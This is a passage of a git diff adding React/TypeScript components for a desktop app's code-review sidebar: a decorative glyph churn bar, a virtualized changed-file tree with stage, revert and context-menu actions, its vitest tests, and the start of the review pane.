+      {title && (
+        <div className="text-[0.7rem] font-semibold uppercase tracking-[0.07em] text-muted-foreground/75">{title}</div>
+      )}
+      <div className="text-[0.68rem] leading-relaxed text-muted-foreground/65">{body}</div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/review/churn-bar.tsx b/ui-desktop/src/app/right-sidebar/review/churn-bar.tsx
new file mode 100644
index 000000000..65a653609
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/churn-bar.tsx
@@ -0,0 +1,59 @@
+import { useStore } from '@nanostores/react'
+import { useMemo } from 'react'
+
+import type { ClawCodexReviewFile } from '@/global'
+import { $reviewMaxChurn } from '@/store/review'
+
+// Per-row "digital rain" churn bar: a right-anchored, clipped stream of
+// Matrix-ish glyphs whose width is the file's churn relative to the biggest
+// changed file. Not wired in — drop `<ChurnBar file={file} />` into a review row
+// (which must be `relative isolate overflow-hidden`) to revive it.
+const GLYPHS = 'ｱｲｳｴｵｶｷｸｹｺｻｼｽｾｿﾀﾁﾂﾃﾅﾆﾇﾉﾊﾋﾌﾍﾎﾏﾐﾑﾒﾓﾔﾕﾖﾗﾘﾚﾜ0123456789:=*+<>¦'
+
+const MASK = 'linear-gradient(to left, #000 45%, transparent)'
+
+// Deterministic glyph run (FNV-1a seed → xorshift) so a file's rain is stable
+// across renders instead of reshuffling every paint.
+function rain(seed: string, len: number): string {
+  let h = 2166136261
+
+  for (let i = 0; i < seed.length; i++) {
+    h = Math.imul(h ^ seed.charCodeAt(i), 16777619)
+  }
+
+  let out = ''
+
+  for (let i = 0; i < len; i++) {
+    h ^= h << 13
+    h ^= h >>> 17
+    h ^= h << 5
+    out += GLYPHS[Math.abs(h) % GLYPHS.length]
+  }
+
+  return out
+}
+
+export function ChurnBar({ file }: { file: ClawCodexReviewFile }) {
+  const max = useStore($reviewMaxChurn)
+  const fill = useMemo(() => rain(file.path, 200), [file.path])
+  const width = max > 0 ? ((file.added + file.removed) / max) * 100 : 0
+
+  if (width <= 0) {
+    return null
+  }
+
+  return (
+    <span
+      aria-hidden
+      className="pointer-events-none absolute inset-y-0 right-0 -z-10 block overflow-hidden text-right font-mono text-[0.7rem] leading-6 tracking-tight whitespace-nowrap opacity-30 dark:opacity-40"
+      style={{
+        WebkitMaskImage: MASK,
+        color: `var(--ui-${file.added >= file.removed ? 'green' : 'red'})`,
+        maskImage: MASK,
+        width: `${width}%`
+      }}
+    >
+      {fill}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/review/file-tree.test.tsx b/ui-desktop/src/app/right-sidebar/review/file-tree.test.tsx
new file mode 100644
index 000000000..cbbbc474d
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/file-tree.test.tsx
@@ -0,0 +1,130 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexReviewFile } from '@/global'
+import { I18nProvider } from '@/i18n'
+import { $sidebarWorkspaceNodeOpen } from '@/store/layout'
+import { $reviewFiles, $reviewOpen } from '@/store/review'
+
+import { ReviewFileTree } from './file-tree'
+
+const ROW_HEIGHT = 24
+const VIEWPORT_HEIGHT = 600
+
+const file = (path: string): ClawCodexReviewFile => ({
+  added: 1,
+  path,
+  removed: 0,
+  staged: false,
+  status: '?'
+})
+
+// The issue's repro shape: a .NET publish/ folder with tens of thousands of
+// untracked files and no .gitignore.
+function filesUnderPublish(count: number): ClawCodexReviewFile[] {
+  return Array.from({ length: count }, (_, i) => file(`publish/file-${String(i).padStart(4, '0')}.so`))
+}
+
+function topLevelFiles(count: number): ClawCodexReviewFile[] {
+  return Array.from({ length: count }, (_, i) => file(`file-${String(i).padStart(4, '0')}.ts`))
+}
+
+function renderTree() {
+  return render(
+    <I18nProvider configClient={null} initialLocale="en">
+      <ReviewFileTree />
+    </I18nProvider>
+  )
+}
+
+describe('ReviewFileTree', () => {
+  beforeEach(() => {
+    $reviewOpen.set(true)
+    $reviewFiles.set([])
+    $sidebarWorkspaceNodeOpen.set({})
+
+    // jsdom has no layout: report the real row height for virtualized rows and
+    // a viewport for the scroller so the virtualizer mounts a deterministic
+    // window (instead of measuring everything as 0px).
+    vi.spyOn(HTMLElement.prototype, 'offsetHeight', 'get').mockImplementation(function (this: HTMLElement) {
+      if (this.hasAttribute?.('data-index')) {
+        return ROW_HEIGHT
+      }
+
+      if (this.hasAttribute?.('data-suppress-pane-reveal-side')) {
+        return VIEWPORT_HEIGHT
+      }
+
+      return 0
+    })
+    vi.spyOn(HTMLElement.prototype, 'offsetWidth', 'get').mockImplementation(() => 240)
+
+    // The virtualizer observes the scroller and rows; jsdom ships no observer,
+    // so install a no-op one (initialRect + fixed row heights drive the mount).
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        constructor(_callback: ResizeObserverCallback) {}
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.unstubAllGlobals()
+    vi.restoreAllMocks()
+    $reviewFiles.set([])
+    $sidebarWorkspaceNodeOpen.set({})
+    $reviewOpen.set(false)
+  })
+
+  it('virtualizes heavy trees: only the visible window is mounted', () => {
+    $reviewFiles.set(topLevelFiles(5000))
+
+    const { container } = renderTree()
+
+    const mounted = container.querySelectorAll('[data-index]')
+    expect(mounted.length).toBeGreaterThan(0)
+    // 5,000 files would be ~5,000 rows in the DOM without virtualization.
+    expect(mounted.length).toBeLessThan(100)
+
+    // The scroller still accounts for the full 5,000 × 24px list height.
+    const spacer = container.querySelector<HTMLDivElement>('[style*="120000px"]')
+    expect(spacer).not.toBeNull()
+
+    // The window starts at the top, so the first rows are mounted.
+    expect(screen.getByText('file-0000.ts')).toBeTruthy()
+  })
+
+  it('starts heavy trees collapsed and reveals children on expand, still bounded', () => {
+    $reviewFiles.set(filesUnderPublish(5000))
+
+    const { container } = renderTree()
+
+    // Collapsed by default: just the publish/ folder row, no file rows yet.
+    expect(screen.getByText('publish')).toBeTruthy()
+    expect(container.querySelectorAll('[data-index]').length).toBe(1)
+
+    fireEvent.click(screen.getByText('publish'))
+
+    // Children appear as virtualized rows — a handful, not 5,000.
+    const mounted = container.querySelectorAll('[data-index]')
+    expect(mounted.length).toBeGreaterThan(1)
+    expect(mounted.length).toBeLessThan(100)
+    expect(screen.getByText('file-0000.so')).toBeTruthy()
+  })
+
+  it('keeps rendering small trees in full (animated path untouched)', () => {
+    $reviewFiles.set([file('a.ts'), file('b.ts'), file('src/c.ts')])
+
+    renderTree()
+
+    expect(screen.getByText('a.ts')).toBeTruthy()
+    expect(screen.getByText('b.ts')).toBeTruthy()
+    expect(screen.getByText('src')).toBeTruthy()
+    expect(screen.getByText('c.ts')).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/review/file-tree.tsx b/ui-desktop/src/app/right-sidebar/review/file-tree.tsx
new file mode 100644
index 000000000..367e1faa9
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/file-tree.tsx
@@ -0,0 +1,520 @@
+import { useStore } from '@nanostores/react'
+import { useVirtualizer } from '@tanstack/react-virtual'
+import { AnimatePresence, motion } from 'motion/react'
+import { type CSSProperties, type ReactNode, type RefObject, useEffect, useMemo, useRef, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuSeparator,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+import { DiffCount } from '@/components/ui/diff-count'
+import { Tip } from '@/components/ui/tooltip'
+import type { ClawCodexReviewFile } from '@/global'
+import { useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
+import { displayPath } from '@/lib/display-path'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
+import { $renamingPath, copyFilePath, revealFile, toRelativePath } from '@/store/file-actions'
+import { $sidebarWorkspaceNodeOpen, revealFileInTree, toggleWorkspaceNodeCollapsed } from '@/store/layout'
+import { notifyError } from '@/store/notifications'
+import { openPreview } from '@/store/preview'
+import {
+  $reviewFiles,
+  $reviewLoading,
+  $reviewOpen,
+  $reviewScopeCwd,
+  $reviewSelectedPath,
+  $reviewTreeMode,
+  requestRevert,
+  reviewRepoCwd,
+  selectReviewFile,
+  stageReviewFile,
+  unstageReviewFile
+} from '@/store/review'
+import { $currentCwd } from '@/store/session'
+
+import { pickRevealLabel } from '../file-actions'
+
+import {
+  buildReviewFlatList,
+  buildReviewTree,
+  countAllNodes,
+  flattenReviewRows,
+  type ReviewFlatRow,
+  type ReviewTreeNode
+} from './tree-data'
+
+const INDENT = 12
+
+// Per git status letter: a tinted diff codicon so the file's nature reads at a
+// glance (added / modified / deleted / renamed / untracked).
+const STATUS_GLYPH: Record<string, { icon: string; tone: string }> = {
+  A: { icon: 'diff-added', tone: 'text-(--ui-green)' },
+  C: { icon: 'diff-added', tone: 'text-(--ui-green)' },
+  D: { icon: 'diff-removed', tone: 'text-(--ui-red)' },
+  M: { icon: 'diff-modified', tone: 'text-amber-500/85' },
+  R: { icon: 'diff-renamed', tone: 'text-sky-500/85' },
+  U: { icon: 'warning', tone: 'text-(--ui-red)' },
+  '?': { icon: 'diff-added', tone: 'text-muted-foreground/60' }
+}
+
+// Review paths are repo-relative; the composer drop expects absolute paths, so
+// join against the pane's repo (its pinned scope, else the active session cwd).
+function absolutePath(relative: string): string {
+  if (/^([a-zA-Z]:[\\/]|\/)/.test(relative)) {
+    return relative
+  }
+
+  const cwd = reviewRepoCwd()?.replace(/[\\/]+$/, '')
+
+  return cwd ? `${cwd}/${relative}` : relative
+}
+
+// Fast, layout-aware row: `layout` slides siblings when one is inserted/removed
+// (a new file at index N pushes the rest down), AnimatePresence fades the
+// enter/exit. A tight, near-critically-damped spring keeps it crisp (quick
+// settle, no bounce) so adds/deletes read as snappy, not floaty.
+const ROW_TRANSITION = { type: 'spring', stiffness: 1100, damping: 48, mass: 0.32 } as const
+
+// Instant (no animation) — used while the pane is settling open so the initial
+// batch of rows doesn't fly in.
+const ROW_INSTANT = { duration: 0 } as const
+
+// Past this many visible rows, drop the animated list and virtualize: only the
+// rows in the viewport (plus a small overscan) are mounted, so a folder with
+// tens of thousands of untracked files no longer balloons the renderer into
+// hundreds of thousands of DOM nodes.
+const HEAVY_LIST_CAP = 60
+
+// Uniform row height (h-6 = 1.5rem). Every review row is this exact height, so
+// the virtualizer's size estimate is exact and per-row measurement just keeps
+// it honest under app zoom.
+const ROW_HEIGHT = 24
+
+// Rows mounted above and below the viewport while scrolling.
+const OVERSCAN_ROWS = 12
+
+export function ReviewFileTree() {
+  const files = useStore($reviewFiles)
+  const open = useStore($reviewOpen)
+  const loading = useStore($reviewLoading)
+  const mode = useStore($reviewTreeMode)
+
+  const tree = useMemo(() => (mode === 'tree' ? buildReviewTree(files) : buildReviewFlatList(files)), [files, mode])
+
+  // Heavy is decided by the TOTAL node count, not the top-level row count: the
+  // classic blow-up is ONE folder holding tens of thousands of untracked files,
+  // which is a single top-level node but must still take the virtualized path.
+  const heavy = useMemo(() => countAllNodes(tree) > HEAVY_LIST_CAP, [tree])
+
+  // Visible rows for the virtualized path. Heavy trees start fully collapsed
+  // (folders default closed) so even the first mount is a handful of rows; the
+  // user expands a folder to reveal its children, still virtualized.
+  const nodeOpen = useStore($sidebarWorkspaceNodeOpen)
+
+  const rows = useMemo(() => {
+    if (!heavy) {
+      return []
+    }
+
+    return flattenReviewRows(tree, id => nodeOpen[`review:${id}`] ?? false)
+  }, [heavy, nodeOpen, tree])
+
+  const scrollerRef = useRef<HTMLDivElement | null>(null)
+
+  // The Pane keeps this tree mounted while collapsed, so opening it doesn't
+  // remount (AnimatePresence `initial={false}` can't help). The first refresh
+  // after opening can also surface a batch of edits made while it was closed.
+  // Suppress row enter/exit until that first post-open refresh settles; real
+  // edits made while the pane stays open then animate normally.
+  const [animate, setAnimate] = useState(false)
+  const armed = useRef(false)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!open) {
+      armed.current = false
+      setAnimate(false)
+    }
+  }, [open])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (open && !loading && !armed.current) {
+      armed.current = true
+      const id = requestAnimationFrame(() => setAnimate(true))
+
+      return () => cancelAnimationFrame(id)
+    }
+  }, [open, loading])
+
+  return (
+    <div
+      className="min-h-0 flex-1 overflow-y-auto overflow-x-hidden px-1 py-1"
+      data-suppress-pane-reveal-side=""
+      ref={scrollerRef}
+    >
+      {heavy ? (
+        <VirtualizedReviewList rows={rows} scrollRef={scrollerRef} />
+      ) : (
+        <ReviewNodeList animate={animate} depth={0} nodes={tree} />
+      )}
+    </div>
+  )
+}
+
+function ReviewNodeList({ animate, depth, nodes }: { animate: boolean; depth: number; nodes: ReviewTreeNode[] }) {
+  return (
+    <AnimatePresence initial={false}>
+      {nodes.map(node => (
+        <motion.div
+          animate={{ opacity: 1, y: 0 }}
+          exit={{ opacity: 0, y: -2 }}
+          initial={animate ? { opacity: 0, y: -4 } : false}
+          key={node.id}
+          layout="position"
+          transition={animate ? ROW_TRANSITION : ROW_INSTANT}
+        >
+          {node.isDir ? (
+            <ReviewDirRow animate={animate} depth={depth} node={node} />
+          ) : (
+            <ReviewFileRow depth={depth} node={node} />
+          )}
+        </motion.div>
+      ))}
+    </AnimatePresence>
+  )
+}
+
+// Virtualized heavy list: the scroller mounts only the rows intersecting the
+// viewport (plus overscan), so a folder with tens of thousands of changed
+// files never materializes every row in the DOM. Rows are absolutely
+// positioned inside a spacer sized to the full list, which keeps the
+// scrollbar honest. Folders render as `leaf` rows — their children come from
+// the flattened row list, not inline — so expanding one just grows the list.
+function VirtualizedReviewList({
+  rows,
+  scrollRef
+}: {
+  rows: ReviewFlatRow[]
+  scrollRef: RefObject<HTMLDivElement | null>
+}) {
+  const virtualizer = useVirtualizer({
+    count: rows.length,
+    estimateSize: () => ROW_HEIGHT,
+    getItemKey: index => rows[index]?.node.id ?? index,
+    getScrollElement: () => scrollRef.current,
+    // jsdom-friendly default; the real rect takes over on first observe.
+    initialRect: { height: 600, width: 240 },
+    overscan: OVERSCAN_ROWS
+  })
+
+  const virtualItems = virtualizer.getVirtualItems()
+  const totalSize = virtualizer.getTotalSize()
+
+  return (
+    <div className="relative" style={{ height: totalSize }}>
+      {virtualItems.map(virtualItem => {
+        const row = rows[virtualItem.index]
+
+        if (!row) {
+          return null
+        }
+
+        return (
+          <div
+            data-index={virtualItem.index}
+            key={row.node.id}
+            ref={virtualizer.measureElement}
+            style={{
+              left: 0,
+              position: 'absolute',
+              top: 0,
+              transform: `translateY(${virtualItem.start}px)`,
+              width: '100%'
+            }}
+          >
+            {row.node.isDir ? (
+              <ReviewDirRow animate={false} defaultOpen={false} depth={row.depth} leaf node={row.node} />
+            ) : (
+              <ReviewFileRow depth={row.depth} node={row.node} />
+            )}
+          </div>
+        )
+      })}
+    </div>
+  )
+}
+
+// Depth-0 rows align their icon to the panel header's dither glyph: the tree
+// body has px-1 (4px) and the header glyph sits at px-2.5 (10px) + the label's
+// pl-2 (8px) = 18px, so the base inset is 18 − 4 = 14px.
+const ROW_BASE_INSET = 14
+
+function rowStyle(depth: number): CSSProperties {
+  return { paddingLeft: `${depth * INDENT + ROW_BASE_INSET}px` }
+}
+
+function ReviewDirRow({
+  animate,
+  defaultOpen = true,
+  depth,
+  leaf = false,
+  node
+}: {
+  animate: boolean
+  defaultOpen?: boolean
+  depth: number
+  /** Virtualized rows render their children from the flattened row list, not inline. */
+  leaf?: boolean
+  node: ReviewTreeNode
+}) {
+  const nodeOpen = useStore($sidebarWorkspaceNodeOpen)
+  const id = `review:${node.id}`
+  const open = nodeOpen[id] ?? defaultOpen
+  const toggle = () => toggleWorkspaceNodeCollapsed(id, defaultOpen)
+
+  return (
+    <>
+      <div
+        className="group/review-row row-hover flex h-6 select-none items-center gap-1.5 rounded-md pr-1.5 text-xs text-(--ui-text-secondary) hover:text-foreground"
+        onClick={toggle}
+        style={rowStyle(depth)}
+      >
+        <Codicon
+          className="shrink-0 text-(--ui-text-tertiary)"
+          name={open ? 'folder-opened' : 'folder'}
+          size="0.8rem"
+        />
+        <span className="min-w-0 flex-1 truncate" title={node.name}>
+          {node.name}
+        </span>
+        {!open && <DiffCount added={node.added} className="text-[0.64rem] leading-4" removed={node.removed} />}
+      </div>
+      {!leaf && open && node.children && <ReviewNodeList animate={animate} depth={depth + 1} nodes={node.children} />}
+    </>
+  )
+}
+
+function ReviewFileRow({ node, depth }: { node: ReviewTreeNode; depth: number }) {
+  const { t } = useI18n()
+  const c = t.statusStack.coding
+  const selectedPath = useStore($reviewSelectedPath)
+  const file = node.file!
+  const selected = file.path === selectedPath
+  const glyph = STATUS_GLYPH[file.status] ?? STATUS_GLYPH.M
+  const dragPath = absolutePath(file.path)
+  // Reactive mirror of reviewRepoCwd(): the pinned scope wins, else the
+  // active session's cwd (subscribing to both keeps the row live either way).
+  const scopeCwd = useStore($reviewScopeCwd)
+  const activeCwd = useStore($currentCwd)
+  const cwd = scopeCwd?.trim() || activeCwd
+
+  // Single-click shows the inline diff; double-click opens the file in the main
+  // preview pane (matching the file browser). They're mutually exclusive: defer
+  // the single-click select briefly so a double-click can cancel it, otherwise a
+  // double-click would fire BOTH (inline diff + main preview = two previews).
+  const clickTimer = useRef<null | ReturnType<typeof setTimeout>>(null)
+
+  useEffect(
+    () => () => {
+      if (clickTimer.current != null) {
+        clearTimeout(clickTimer.current)
+      }
+    },
+    []
+  )
+
+  const handleClick = () => {
+    // A file-browser rename of the same path is active → ignore the fall-through
+    // click so it doesn't open the diff / steal focus from that editor.
+    if ($renamingPath.get() === dragPath) {
+      return
+    }
+
+    if (clickTimer.current != null) {
+      clearTimeout(clickTimer.current)
+    }
+
+    clickTimer.current = setTimeout(() => {
+      clickTimer.current = null
+      void selectReviewFile(file)
+    }, 200)
+  }
+
+  const openInPreview = () => {
+    void (async () => {
+      try {
+        const preview = await normalizeOrLocalPreviewTarget(dragPath)
+
+        if (preview) {
+          openPreview(preview, 'file-browser')
+        }
+      } catch (error) {
+        notifyError(error, t.rightSidebar.previewUnavailable)
+      }
+    })()
+  }
+
+  const handleDoubleClick = () => {
+    if (clickTimer.current != null) {
+      clearTimeout(clickTimer.current)
+      clickTimer.current = null
+    }
+
+    openInPreview()
+  }
+
+  return (
+    <ReviewFileContextMenu
+      cwd={cwd}
+      dragPath={dragPath}
+      file={file}
+      onOpenChanges={() => void selectReviewFile(file)}
+      onOpenFile={openInPreview}
+    >
+      <div
+        aria-selected={selected}
+        className={cn(
+          'group/review-row row-hover flex h-6 select-none items-center gap-1.5 rounded-md pr-1.5 text-xs text-(--ui-text-secondary) hover:text-foreground',
+          selected && 'bg-(--ui-row-active-background) text-foreground'
+        )}
+        draggable
+        onClick={handleClick}
+        onDoubleClick={handleDoubleClick}
+        onDragStart={event => {
+          event.dataTransfer.effectAllowed = 'copy'
+          event.dataTransfer.setData(
+            'application/x-clawcodex-paths',
+            JSON.stringify([{ isDirectory: false, path: dragPath }])
+          )
+          event.dataTransfer.setData('text/plain', dragPath)
+        }}
+        style={rowStyle(depth)}
+        title={displayPath(dragPath)}
+      >
+        <Codicon className={cn('shrink-0', glyph.tone)} name={glyph.icon} size="0.8rem" />
+        {/* Dir collapses first (huge shrink); the name only ellipsizes once the
+            dir is gone — either way neither runs into the diff count. */}
+        <span className="flex min-w-0 flex-1 items-baseline gap-1.5">
+          <span className="min-w-0 shrink truncate" title={node.name}>
+            {node.name}
+          </span>
+          {node.dir && (
+            <span className="min-w-0 shrink-[9999] truncate text-[0.68rem] text-(--ui-text-tertiary)" title={node.dir}>
+              {node.dir}
+            </span>
+          )}
+        </span>
+
+        <span className="hidden shrink-0 items-center gap-0.5 group-hover/review-row:flex">
+          <Tip label={file.staged ? c.unstage : c.stage}>
+            <Button
+              aria-label={file.staged ? c.unstage : c.stage}
+              className="size-4 rounded text-muted-foreground/70 hover:text-foreground"
+              onClick={event => {
+                event.stopPropagation()
+                void (file.staged ? unstageReviewFile(file.path) : stageReviewFile(file.path))
+              }}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name={file.staged ? 'remove' : 'add'} size="0.7rem" />
+            </Button>
+          </Tip>
+          <Tip label={c.revert}>
+            <Button
+              aria-label={c.revert}
+              className="size-4 rounded text-muted-foreground/70 hover:text-(--ui-red)"
+              onClick={event => {
+                event.stopPropagation()
+                requestRevert(file.path)
+              }}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="discard" size="0.7rem" />
+            </Button>
+          </Tip>
+        </span>
+
+        <DiffCount
+          added={node.added}
+          className="text-[0.64rem] leading-4 group-hover/review-row:hidden"
+          removed={node.removed}
+        />
+        {file.staged && (
+          <span aria-hidden className="size-1.5 shrink-0 rounded-full bg-(--ui-green)/70" title={c.staged} />
+        )}
+      </div>
+    </ReviewFileContextMenu>
+  )
+}
+
+// Git-specific right-click menu for a changed file (VS Code's SCM menu shape):
+// open changes / open file, stage·unstage, discard, then reveal / copy path. No
+// rename or delete here — those belong to the file browser; this tree just
+// reflects the working-tree state.
+function ReviewFileContextMenu({
+  children,
+  cwd,
+  dragPath,
+  file,
+  onOpenChanges,
+  onOpenFile
+}: {
+  children: ReactNode
+  cwd: null | string
+  dragPath: string
+  file: ClawCodexReviewFile
+  onOpenChanges: () => void
+  onOpenFile: () => void
+}) {
+  const { t } = useI18n()
+  const c = t.statusStack.coding
+  const m = t.fileMenu
+  const localFs = !isDesktopFsRemoteMode()
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>{children}</ContextMenuTrigger>
+      <ContextMenuContent>
+        <ContextMenuItem onSelect={onOpenChanges}>{c.openChanges}</ContextMenuItem>
+        <ContextMenuItem onSelect={onOpenFile}>{c.openFile}</ContextMenuItem>
+        <ContextMenuSeparator />
+        <ContextMenuItem
+          onSelect={() =>
+            void (file.staged ? unstageReviewFile(file.path) : stageReviewFile(file.path)).catch(err =>
+              notifyError(err, file.staged ? c.unstage : c.stage)
+            )
+          }
+        >
+          {file.staged ? c.unstage : c.stage}
+        </ContextMenuItem>
+        <ContextMenuItem onSelect={() => requestRevert(file.path)} variant="destructive">
+          {c.revert}
+        </ContextMenuItem>
+        <ContextMenuSeparator />
+        <ContextMenuItem onSelect={() => revealFileInTree(dragPath)}>{m.revealInSidebar}</ContextMenuItem>
+        {localFs && (
+          <ContextMenuItem onSelect={() => void revealFile(dragPath)}>
+            {pickRevealLabel(m.revealFinder, m.revealExplorer, m.revealFileManager)}
+          </ContextMenuItem>
+        )}
+        <ContextMenuSeparator />
+        <ContextMenuItem onSelect={() => void copyFilePath(dragPath)}>{m.copyPath}</ContextMenuItem>
+        {cwd && (
+          <ContextMenuItem onSelect={() => void copyFilePath(toRelativePath(dragPath, cwd))}>
+            {m.copyRelativePath}
+          </ContextMenuItem>
+        )}
+      </ContextMenuContent>
+    </ContextMenu>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/review/index.tsx b/ui-desktop/src/app/right-sidebar/review/index.tsx
new file mode 100644
index 000000000..5b719b01c
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/review/index.tsx
@@ -0,0 +1,240 @@
+import { useStore } from '@nanostores/react'
+
+import { FileDiffPanel } from '@/components/chat/diff-lines'
+import { DiffSkeleton, TreeSkeleton } from '@/components/chat/skeletons'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { DiffCount } from '@/components/ui/diff-count'
+import { Tip } from '@/components/ui/tooltip'
+import { useDelayedTrue } from '@/hooks/use-delayed-true'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { cn } from '@/lib/utils'
+import { $panesFlipped } from '@/store/layout'
+import { notifyError } from '@/store/notifications'
+import {
+  $reviewDiff,
+  $reviewDiffLoading,
+  $reviewFiles,
+  $reviewIsRepo,
+  $reviewLoading,
+  $reviewRevertTarget,
+  $reviewSelectedPath,
+  $reviewTreeMode,
+  cancelRevert,
+  clearReviewSelection,
+  closeReview,
+  confirmRevert,
+  refreshReview,
+  requestRevert,
+  stageReviewFile,
+  toggleReviewTreeMode,
+  unstageReviewFile
+} from '@/store/review'
+
+import { SidebarPanelLabel } from '../../shell/sidebar-label'
+import { PaneEmptyState, RightSidebarSectionHeader } from '../index'
+
+import { ReviewFileTree } from './file-tree'
+import { ReviewShipBar } from './ship-bar'
+
+// Compact header/diff action buttons — micro hit targets packed tight, matching
+// the rest of the app's icon-action rows.
+const ACTION_BTN = 'size-5'
+
+export function ReviewPane() {
+  const { t } = useI18n()
+  const c = t.statusStack.coding
+  const panesFlipped = useStore($panesFlipped)
+  const files = useStore($reviewFiles)
+  const loading = useStore($reviewLoading)
+  const isRepo = useStore($reviewIsRepo)
+  const selectedPath = useStore($reviewSelectedPath)
+  const diff = useStore($reviewDiff)
+  const diffLoading = useStore($reviewDiffLoading)
+  const revertTarget = useStore($reviewRevertTarget)
+  const treeMode = useStore($reviewTreeMode)
+
+  const selectedFile = files.find(file => file.path === selectedPath)
+  const hasFiles = files.length > 0
+  // `{ path: null }` → revert all; `{ path: '…' }` → revert one file.
+  const revertingAll = revertTarget?.path == null
+  // Delay the skeletons so fast loads (most project switches) just blank → content
+  // instead of flashing a jarring loading state.
+  const showTreeSkeleton = useDelayedTrue(loading && !hasFiles)
+  const showDiffSkeleton = useDelayedTrue(diffLoading)
+
+  return (
+    <aside
+      aria-label={c.review}
+      className={cn(
+        'before:pointer-events-none relative flex h-full w-full min-w-0 flex-col overflow-hidden border-(--ui-stroke-secondary) bg-(--ui-sidebar-surface-background) pt-(--titlebar-height) text-(--ui-text-tertiary)',
+        panesFlipped
+          ? 'border-r shadow-[inset_-0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
+          : 'border-l shadow-[inset_0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
+      )}
+    >
+      {(loading || isRepo) && (
+        <RightSidebarSectionHeader data-suppress-pane-reveal-side="">
+          <div className="flex min-w-0 flex-1">
+            {/* Pure self-naming label — redundant under a zone tab that already
+                says "review", so the zone header hides it (styles.css). */}
+            <SidebarPanelLabel data-pane-self-label="">{c.review}</SidebarPanelLabel>
+          </div>
+          <Tip label={treeMode === 'tree' ? c.viewAsList : c.viewAsTree}>
+            <Button
+              aria-label={treeMode === 'tree' ? c.viewAsList : c.viewAsTree}
+              className={ACTION_BTN}
+              disabled={!hasFiles}
+              onClick={toggleReviewTreeMode}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name={treeMode === 'tree' ? 'list-flat' : 'list-tree'} size="0.8125rem" />
+            </Button>
+          </Tip>
+          <Tip label={c.stageAll}>
+            <Button
+              aria-label={c.stageAll}
+              className={ACTION_BTN}
+              disabled={!hasFiles}
+              onClick={() => void stageReviewFile(null).catch(err => notifyError(err, c.stageAll))}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="add" size="0.8125rem" />
+            </Button>
+          </Tip>
+          <Tip label={c.revertAll}>
+            <Button
+              aria-label={c.revertAll}
+              className={ACTION_BTN}
+              disabled={!hasFiles}
+              onClick={() => requestRevert(null)}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="discard" size="0.8125rem" />
+            </Button>
+          </Tip>
+          <Tip label={t.rightSidebar.refreshTree}>
+            <Button
+              aria-label={t.rightSidebar.refreshTree}
+              className={ACTION_BTN}
+              onClick={() => void refreshReview()}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="refresh" size="0.8125rem" spinning={loading} />
+            </Button>
+          </Tip>
+          <Button aria-label={c.close} className={ACTION_BTN} onClick={closeReview} size="icon-xs" variant="ghost">
+            <Codicon name="close" size="0.8125rem" />
+          </Button>
+        </RightSidebarSectionHeader>
+      )}
+
+      {loading || isRepo ? (
+        hasFiles ? (
+          <ReviewFileTree />
+        ) : showTreeSkeleton ? (
+          <TreeSkeleton />
+        ) : loading ? (
+          <div className="min-h-0 flex-1" />
+        ) : (
+          <PaneEmptyState label={t.rightSidebar.noDiffs} />
+        )
+      ) : (
+        // No repo at all → same terse empty state, just without the chrome.
+        <PaneEmptyState label={t.rightSidebar.noDiffs} />
+      )}
+
+      {/* Selected file's diff — reuses the shiki-highlighted FileDiffPanel. */}
+      {selectedFile && (
+        <div className="flex max-h-[55%] shrink-0 flex-col border-t border-(--ui-stroke-secondary)">
+          <div className="flex items-center gap-1 px-2.5 py-1.5" data-suppress-pane-reveal-side="">
+            <span
+              className="min-w-0 flex-1 truncate font-mono text-[0.66rem] text-(--ui-text-secondary)"
+              title={displayPath(selectedFile.path)}
+            >
+              {displayPath(selectedFile.path)}
+            </span>
+            <DiffCount added={selectedFile.added} className="text-[0.64rem] leading-4" removed={selectedFile.removed} />
+            <Tip label={selectedFile.staged ? c.unstage : c.stage}>
+              <Button
+                aria-label={selectedFile.staged ? c.unstage : c.stage}
+                className={ACTION_BTN}
+                onClick={() =>
+                  void (
+                    selectedFile.staged ? unstageReviewFile(selectedFile.path) : stageReviewFile(selectedFile.path)
+                  ).catch(err => notifyError(err, c.stage))
+                }
+                size="icon-xs"
+                variant="ghost"
+              >
+                <Codicon name={selectedFile.staged ? 'remove' : 'add'} size="0.8rem" />
+              </Button>
+            </Tip>
